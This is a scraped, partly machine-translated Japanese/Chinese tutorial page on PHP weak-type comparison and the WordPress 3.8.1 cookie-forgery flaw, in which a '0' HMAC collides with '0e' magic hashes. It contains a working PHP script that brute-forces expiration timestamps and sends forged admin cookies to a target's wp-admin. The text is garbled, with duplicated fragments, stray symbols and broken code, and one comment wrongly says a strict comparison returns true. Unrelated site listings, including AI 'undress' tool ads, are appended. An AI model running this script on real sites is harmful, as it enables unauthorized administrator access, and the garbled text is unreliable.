1 PHP は型が弱い
PHP は 型が弱い 言語であるため、使用シナリオの違いにより、変数は自動的に型変換 されます。 PHP で == と を使用してください。 = 等価判定を行う場合は、===とを使用して型変換を自動で行います。 == 判定時に型は自動変換されません。
<span>1</span> <span>php </span><span>2</span><span>$a</span> = 3<span>; </span><span>3</span><span>$b</span> = '3vic'<span>; </span><span>4</span><span>var_dump</span>(<span>$a</span> == <span>$b</span>);<span>//</span><span>true</span><span>5</span><span>var_dump</span>(<span>$a</span> != <span>$b</span>);<span>//</span><span>false</span><span>6</span><span>var_dump</span>(<span>$a</span> === <span>$b</span>);<span>//</span><span>true</span><span>7</span><span>var_dump</span>(<span>$a</span> !== <span>$b</span>);<span>//</span><span>false</span><span>8</span> ?>注: PHP で文字列を整数に変換する場合、数値で始まる場合は、前の数値 ('3vic' -> 3) に変換されます。数値で始まらない場合は、 0 ('vic' -> 0) に変換されます
2 WordPress コード
- WordPress 3.8.1 と WordPress 3.8.2 いくつかのコードの違い
<span>1</span> <span>php </span><span>2</span><span>//</span><span> WordPress 3.8.1</span><span>3</span><span>if</span> (<span>$hmac</span> != <span>$hash</span><span>) {} </span><span>4</span><span>//</span><span> WordPress 3.8.2</span><span>5</span><span>if</span> ( hash_hmac('md5', <span>$hmac</span>, <span>$key</span>) !== hash_hmac('md5', <span>$hash</span>, <span>$key</span><span>) ) {} </span><span>6</span> ?>
- Cookieの構成
wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|<span>1433403595</span>|cf50f3b50eed94dd0fdc3d3ea2c7bbb; path=/wp-admin; domain=www.test.ichunqiu; HttpOnlyCookie名
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91
形式は次のとおりですwordpress_bbfa5b726c6b7a9cf3cda9370be3ee91
格式为 wordpress_
+ md5(siteurl
) 其中siteurl
为WordPress的网址,此处网站地址为<span>http://www.test.ichunqiu</span>,
md5加密后为<span>c47f4a97d0321c1980bb76fc00d1e78f</span>
,其它部分也可省。
类型 用户名 过期时间 登录成功服务器端赋予客户端的hash值
对应变量 | $username | $expiration | <span>$hmac</span> |
cookies | admin | 1433403595 | cf50f3b50eed94dd0fdc3d3ea2c7bbb |
- 分析验证登录
代码 wp-includes/pluggable.php 第543-549行
<span>1</span> <span>php </span><span>2</span><span>$key</span> = wp_hash(<span>$username</span> . <span>$pass_frag</span> . '|' . <span>$expiration</span>, <span>$scheme</span><span>); </span><span>3</span><span>$hash</span> = hash_hmac('md5', <span>$username</span> . '|' . <span>$expiration</span>, <span>$key</span><span>); </span><span>4</span><span>if</span> ( <span>$hmac</span> != <span>$hash</span><span> ) { </span><span>5</span> do_action('auth_cookie_bad_hash', <span>$cookie_elements</span><span>); </span><span>6</span><span>return</span><span>false</span><span>; </span><span>7</span> }
在代码所使用的变量中,通过改变客户端Cookie 的方式可控的有 $username 用户名,$expiration 有效期,又因为其中用户名是固定的,因此只有$expiration
是可控的,所以我们可以从改变 <span>$expiration </span>
的方法来改变$hash
。
- 结合PHP Hash 比较缺陷分析 WordPress
有以下几种可能使$hmac == $hash
为真,字符串完全相等或者 $hmac
等于0的同时 <span>$hash</span>
为以字符开头的字符串; 将客户端的Cookie中 $hmac
值改为0,然后在if ( $hmac != $hash ) {
的上面一行写入<span>var_dump($hmac);die()</span>;
发现打印出来 $hmac
的结果是 string '0'
而不是int 0
, 那么有没有方法使字符串识别为整数呢,代码如下:
<span>1</span> <span>php </span><span>2</span><span>var_dump</span>('0' == '0e156464513131');<span>//</span><span>true</span>
其中的 0e156464513131
会被识别为0乘以10的156464513131次方,还是得0;因此当 $hash
以0e开头后面全是数字时就会与 <span>$hmac</span>
的值为 '0' 时相等,所以我们可以将客户端的Cookie设置为类似 wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|1433403595|0
然后不断更新过期时间(现在1433403595的位置)的方法来碰撞服务器端,一旦 $hash
wordpress_ code>
+ md5(
siteurl
) ここで、siteurl
は WordPress の URL であり、ここでの Web サイトのアドレスは
, md5暗号化が<span>c47f4a97d0321c1980bb76fc00d1e78f<span></span></span>
以降は、他の部分も省略可能です。 タイプ ユーザー名の有効期限 ログイン成功後にサーバーによってクライアントに割り当てられたハッシュ値
対応する変数 |
$ユーザー名 |
$有効期限 | $hmac |
cookie | 管理者 td> | 1433403595 | cf50f3b50eed94dd0fdc3d3ea2c7bbb |
コード wp-include s /pluggable.php 543~549行目<span> 1</span> <span>php
</span><span> 2</span><span>/*</span><span> 3</span><span> 4</span><span>本脚本用于WordPress 3.8.1 的cookie伪造漏洞检测
</span><span> 5</span><span>传入两个值
</span><span> 6</span><span> WordPress 的主页 $host
</span><span> 7</span><span> 管理员用户名 $root
</span><span> 8</span><span>*/</span><span> 9</span><span>header</span>("Content-type:text/html;charset=utf-8"<span>);
</span><span>10</span><span>11</span><span>$host</span> = 'http://xxx.xxx.xxx';<span>//</span><span>主页地址 结尾不带'/'</span><span>12</span><span>$root</span> = 'user';<span>//</span><span>管理员用户名</span><span>13</span><span>14</span><span>$url</span> = <span>$host</span>.'/wp-admin/';<span>//</span><span>后台管理地址 </span><span>15</span><span>$sitehash</span>=<span>md5</span>(<span>$host</span><span>);
</span><span>16</span><span>17</span><span>echo</span> "\nWelcome\n\n"<span>;
</span><span>18</span><span>//</span><span>通过时间戳暴力破解cookie 实现伪造cookie</span><span>19</span><span>for</span>(<span>$i</span>=1500000000;<span>$i</span>$i
++){
20$cookie = "wordpress_".$sitehash."=".$root."|".$i."|0;";//组合构造cookie21$header = array(
22 "Content-Type:application/x-www-form-urlencoded",
23 'User-Agent: Mozilla/4.0 (compatible; MSIE .0; Windows NT 6.1; Trident/4.0; SLCC2;)',
24 "Cookie:".$cookie,
25 );
2627$curl = curl_init(); // 启动一个CURL会话 28 curl_setopt($curl, CURLOPT_URL, $url); // 要访问的地址29 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); // 使用自动跳转 30 curl_setopt($curl, CURLOPT_AUTOREFERER, 1); // 自动设置Referer 31 curl_setopt($curl, CURLOPT_HTTPGET, true); // 发送一个常规的Post请求 32 curl_setopt($curl, CURLOPT_HTTPHEADER, $header); // 读取上面所储存的Cookie信息 33 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); // 获取的信息以文件流的形式返回 34 curl_setopt($curl, CURLOPT_HEADER, false);
35 curl_setopt($curl, CURLOPT_HEADER, 0);
36 curl_setopt($curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);//让curl自动选择版本37$tmpInfo = curl_exec($curl); // 执行操作38if (curl_errno($curl)) {
39echo 'Errno'.curl_error($curl);
40 }
41 curl_close($curl); // 关闭CURL会话
4243 //匹配结果44if(strstr($tmpInfo,'我们准备了几个链接供您开始')){
45echo "\n".'success : '.$cookie."\n\n";
46break;
47 }else{
48echo 'fail : '.$cookie."\n";
49 }
5051 }
52 ?> コード内で使用されている変数のうち、クライアントCookieを変更することで制御できるものには、
ユーザー名、$expiration有効期間、および理由が含まれます。ユーザー名は固定であるため、$expiration
のみが制御可能であるため、$expiration > を変更することで
$hash
を変更できます。 PHP ハッシュと組み合わせる欠陥を比較するWordPress を分析する
$hmac == $hash
を true、文字列が完全に等しい、または $ にする方法はいくつかあります。 hmac
は 0 に等しく、$hash は文字で始まる文字列です。クライアントの Cookie の
$hmac
if ( $hmac != $hash ) {
<p>var_dump($hmac);die()</p>;
と書き、出力されたことを確認します。 out 🎜$hmac
🎜 の結果は 🎜int 0
🎜 ではなく 🎜string '0'
🎜 です。整数として認識される文字列? コードは次のとおりです: 🎜🎜rrreee🎜🎜 このうち、 🎜0e156464513131
🎜 は、0 の 10 乗として認識されますが、それでも 0 です。したがって、🎜$hash
🎜 が 0e で始まり、その後にすべての数字が続く場合、🎜$hmac🎜
の値が '0' の場合と等しくなります。なので、クライアントの Cookie を 🎜wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|1433403595 |0
🎜 のようなものに設定できます。その後、有効期限 (1433403595 の現在位置) を更新し続け、サーバー側と衝突します。 🎜$hash
🎜 の値は 0e で始まり、その後に数字が続くため、検証して渡すことができます。衝突が成功したと仮定して、ブラウザの Cookie を変更し、バックエンド アドレスに直接アクセスし、バックエンドに正常にログインします。 🎜🎜🎜3 テストスクリプト🎜🎜🎜🎜🎜クライアントCookieの有効期限の値を変更し、常にバックグラウンドへのログインを試み、バックグラウンドに入ることができるタイムスタンプを見つけ出すことで、Cookie偽造ログインを実現します。背景。 🎜🎜🎜🎜rrreee🎜🎜🎜🎜説明🎜🎜🎜: 🎜理論的には、0eで始まる32ビットMD5値は約🎜3億分の1🎜であり、悪用可能な🎜$有効期限🎜🎜に達する可能性があります。 🎜は非常に低い🎜 。 🎜🎜🎜🎜🎜🎜🎜🎜5 🎜🎜🎜🎜🎜🎜🎜🎜 PHPで使われているハッシュ比較関数を修正し、 🎜 ==🎜 , 🎜を変更! =🎜 を 🎜 に変更しました ===🎜 と 🎜 をそれぞれ! ==🎜 または、MD5 を使用して 2 つの比較変数を再度暗号化します。 🎜🎜🎜🎜🎜🎜🎜🎜勉強ノート: http://ichunqiu.com/course/167🎜🎜🎜🎜🎜
🎜
上記は、PHP の弱いタイプ: WordPress Cookie の偽造を内容も含めて紹介したもので、PHP チュートリアルに興味のある友人に役立つことを願っています。 🎜
🎜
🎜
PHPは動的なWebサイトを構築するために使用され、そのコア関数には次のものが含まれます。1。データベースに接続することにより、動的コンテンツを生成し、リアルタイムでWebページを生成します。 2。ユーザーのインタラクションを処理し、提出をフォームし、入力を確認し、操作に応答します。 3.セッションとユーザー認証を管理して、パーソナライズされたエクスペリエンスを提供します。 4.パフォーマンスを最適化し、ベストプラクティスに従って、ウェブサイトの効率とセキュリティを改善します。

PHPはMySQLIおよびPDO拡張機能を使用して、データベース操作とサーバー側のロジック処理で対話し、セッション管理などの関数を介してサーバー側のロジックを処理します。 1)MySQLIまたはPDOを使用してデータベースに接続し、SQLクエリを実行します。 2)セッション管理およびその他の機能を通じて、HTTPリクエストとユーザーステータスを処理します。 3)トランザクションを使用して、データベース操作の原子性を確保します。 4)SQLインジェクションを防ぎ、例外処理とデバッグの閉鎖接続を使用します。 5)インデックスとキャッシュを通じてパフォーマンスを最適化し、読みやすいコードを書き、エラー処理を実行します。

PHPで前処理ステートメントとPDOを使用すると、SQL注入攻撃を効果的に防ぐことができます。 1)PDOを使用してデータベースに接続し、エラーモードを設定します。 2)準備方法を使用して前処理ステートメントを作成し、プレースホルダーを使用してデータを渡し、メソッドを実行します。 3)結果のクエリを処理し、コードのセキュリティとパフォーマンスを確保します。

PHPとPythonには独自の利点と短所があり、選択はプロジェクトのニーズと個人的な好みに依存します。 1.PHPは、大規模なWebアプリケーションの迅速な開発とメンテナンスに適しています。 2。Pythonは、データサイエンスと機械学習の分野を支配しています。

PHPは、電子商取引、コンテンツ管理システム、API開発で広く使用されています。 1)eコマース:ショッピングカート機能と支払い処理に使用。 2)コンテンツ管理システム:動的コンテンツの生成とユーザー管理に使用されます。 3)API開発:RESTFUL API開発とAPIセキュリティに使用されます。パフォーマンスの最適化とベストプラクティスを通じて、PHPアプリケーションの効率と保守性が向上します。

PHPにより、インタラクティブなWebコンテンツを簡単に作成できます。 1)HTMLを埋め込んでコンテンツを動的に生成し、ユーザー入力またはデータベースデータに基づいてリアルタイムで表示します。 2)プロセスフォームの提出と動的出力を生成して、XSSを防ぐためにHTMLSPECIALCHARSを使用していることを確認します。 3)MySQLを使用してユーザー登録システムを作成し、Password_HashおよびPreprocessingステートメントを使用してセキュリティを強化します。これらの手法を習得すると、Web開発の効率が向上します。

PHPとPythonにはそれぞれ独自の利点があり、プロジェクトの要件に従って選択します。 1.PHPは、特にWebサイトの迅速な開発とメンテナンスに適しています。 2。Pythonは、データサイエンス、機械学習、人工知能に適しており、簡潔な構文を備えており、初心者に適しています。

PHPは依然として動的であり、現代のプログラミングの分野で重要な位置を占めています。 1)PHPのシンプルさと強力なコミュニティサポートにより、Web開発で広く使用されています。 2)その柔軟性と安定性により、Webフォーム、データベース操作、ファイル処理の処理において顕著になります。 3)PHPは、初心者や経験豊富な開発者に適した、常に進化し、最適化しています。


ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

VSCode Windows 64 ビットのダウンロード
Microsoft によって発売された無料で強力な IDE エディター

EditPlus 中国語クラック版
サイズが小さく、構文の強調表示、コード プロンプト機能はサポートされていません

SublimeText3 Linux 新バージョン
SublimeText3 Linux 最新バージョン

ドリームウィーバー CS6
ビジュアル Web 開発ツール

DVWA
Damn Vulnerable Web App (DVWA) は、非常に脆弱な PHP/MySQL Web アプリケーションです。その主な目的は、セキュリティ専門家が法的環境でスキルとツールをテストするのに役立ち、Web 開発者が Web アプリケーションを保護するプロセスをより深く理解できるようにし、教師/生徒が教室環境で Web アプリケーションを教え/学習できるようにすることです。安全。 DVWA の目標は、シンプルでわかりやすいインターフェイスを通じて、さまざまな難易度で最も一般的な Web 脆弱性のいくつかを実践することです。このソフトウェアは、
